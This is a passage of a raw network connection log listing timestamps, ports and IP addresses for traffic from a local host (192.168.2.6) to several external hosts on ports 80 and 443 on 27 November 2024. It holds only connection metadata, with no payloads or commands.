Nov 27, 2024 11:14:43.298877954 CET	49846	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.298877954 CET	49846	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.298892975 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.298901081 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.302321911 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.302381992 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.302485943 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.302892923 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.302958965 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.303025007 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.304739952 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.304776907 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.304883957 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.305145979 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.305145025 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.305164099 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.305176020 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.305190086 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.305196047 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.305196047 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.305208921 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.305862904 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.305872917 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.307883024 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.307903051 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.308110952 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.308260918 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.308274984 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.312235117 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.312275887 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.313193083 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.313375950 CET	49884	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.313388109 CET	443	49884	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.381895065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.381942034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.381958008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.382014990 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.382055044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.382107019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.382121086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.382136106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.382150888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.382168055 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.382168055 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.382211924 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.382296085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.382456064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.390290022 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.390381098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.390434980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.390539885 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.398730040 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.398804903 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.398896933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.399029970 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.583327055 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.583353043 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.583414078 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.587344885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.587436914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.587460995 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.587511063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.595335960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.595418930 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.595431089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.595525980 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.603351116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.603404045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.603414059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.603688002 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.611428976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.611475945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.611485004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.611525059 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.619318962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.619406939 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.619422913 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.619466066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.627372026 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.627384901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.627461910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.627486944 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.635270119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.635339975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.635405064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.635464907 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.643282890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.643394947 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.643404007 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.643510103 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.651282072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.651333094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.651343107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.651387930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.659255981 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.659331083 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.659375906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.659482956 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.667228937 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.667325974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.746036053 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.746460915 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.746475935 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.747545004 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.747633934 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.748930931 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.748995066 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.749249935 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.749260902 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.782304049 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.783082008 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.783097982 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.784158945 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.784209013 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.784630060 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.784684896 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.784734964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.784799099 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.784810066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.784811020 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.784818888 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.784837008 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.787853956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.787902117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.788031101 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.794295073 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.794306993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.794415951 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.800285101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.800401926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.800405979 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.800499916 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.800759077 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.800990105 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.800997972 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.802064896 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.802135944 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.802470922 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.802544117 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.802615881 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.806468964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.806592941 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.806617975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.806636095 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.812726021 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.812828064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.812899113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.812899113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.818967104 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.819022894 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.819119930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.819185019 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.825417042 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.825479984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.825537920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.825699091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.831410885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.831485033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.831502914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.831561089 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.837548018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.837665081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.837668896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.837738991 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.843326092 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.843744993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.843874931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.844652891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.850032091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.850120068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.850131989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.850351095 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.856182098 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.856261015 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.856338024 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.856487036 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.862406969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.862499952 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.862632990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.862682104 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.868637085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.868716955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.869009972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.874814034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.874898911 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.874911070 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.875029087 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.881051064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.881181955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.881253004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.887229919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.887304068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.887332916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.887391090 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.893446922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.893537998 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.893560886 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.893747091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.912425041 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.912441969 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.912451982 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.941199064 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.941452980 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.941461086 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.942421913 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.942471981 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.942799091 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.942846060 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.942954063 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.942962885 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.943331957 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.985867023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.986042976 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.986109972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.988325119 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.988478899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.989222050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.989262104 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.989314079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.989314079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.994113922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.994205952 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.994277000 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.994383097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.999011993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.999130011 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:43.999140978 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.999250889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.003691912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.003778934 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.003803968 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.003849983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.008363962 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.008450985 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.008460045 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.008510113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.012938023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.012993097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.012995005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.013075113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.017296076 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.017380953 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.017400980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.017437935 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.021569967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.021608114 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.021672964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.021672964 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.025892973 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.025948048 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.026246071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.028534889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.030065060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.030123949 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.030194044 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.030318022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.034210920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.034270048 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.034281015 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.034334898 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.038367033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.038469076 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.038496971 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.038557053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.042546988 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.042604923 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.042694092 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.043104887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.046727896 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.046739101 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.046828985 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.050868034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.051026106 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.051033974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.051285028 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.052813053 CET	49885	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.052856922 CET	443	49885	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.052979946 CET	49885	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.053359985 CET	49886	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.053390026 CET	443	49886	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.053528070 CET	49886	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.054198980 CET	49885	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.054208994 CET	443	49885	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.054554939 CET	49886	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.054569960 CET	443	49886	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:44.055129051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.055239916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.055330992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.059267998 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.059273958 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.059405088 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.062387943 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:44.063390970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.063513041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.063534021 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.063587904 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.067543983 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.067643881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.067854881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.067923069 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.071722031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.071803093 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.071835995 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.071969986 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.075917959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.075993061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.076031923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.076216936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.080060959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.080146074 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.080250025 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.084285021 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.084366083 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.084430933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.084430933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.088402987 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.088471889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.088498116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.088535070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.092613935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.092727900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.092761040 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.092890024 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.096764088 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.096843004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.096856117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.096930027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.100889921 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.101012945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.101068020 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.101197958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.105072975 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.105216026 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.105235100 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.105276108 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.109225035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.109291077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.109358072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.109399080 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.113393068 CET	80	49830	185.215.113.206	192.168.2.6
